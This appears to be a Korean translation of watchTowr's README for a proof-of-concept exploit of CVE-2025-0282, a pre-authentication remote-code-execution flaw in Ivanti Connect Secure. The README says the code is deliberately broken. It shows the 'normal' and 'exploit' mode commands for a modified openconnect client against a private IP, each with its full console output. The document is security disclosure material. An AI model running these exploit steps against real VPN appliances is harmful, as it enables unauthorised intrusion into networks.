
Ivanti Connect Secure IFT TLS 스택 오버플로우 사전 인증 RCE (CVE-2025-0282)
Ivanti Connect Secure IFT TLS 스택 오버플로우 사전 인증 RCE (CVE-2025-0282)
이는 의도적으로 비자명한 방식으로 손상되어 있으며, 이전에 저희의 익스플로잇 기술 블로그 게시물에서 설명한 대로 작동하도록 하려면 상당한 노력이 필요합니다.
이 취약점을 이해하려면 저희의 기술 문서를 참조하십시오.
익스플로잇 워크스루 및 기술 - Ivanti Connect Secure RCE (CVE-2025-0282)
이 코드는 두 가지 모드로 작동합니다:
먼저 "일반" 모드로 코드를 실행하십시오. 비밀번호 프롬프트가 나타나면 대상이 정상 작동 중임을 의미합니다. 그런 다음 "익스플로잇" 모드로 전환하십시오. "인증 완료 실패" 메시지가 표시되면 대상이 취약할 수 있습니다. 익스플로잇 코드에는 하드코딩된 주소와 오프셋이 포함되어 있으며, 승인된 대상에서 작동하도록 수정해야 합니다.
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication
[!] Target might be vulnerable
이 익스플로잇은 watchTowr (@watchtowrcyber) 의 Sina Kheirkhah (@SinSinology) 가 작성했습니다.
최신 보안 연구를 보려면 watchTowr 연구소 팀을 팔로우하세요.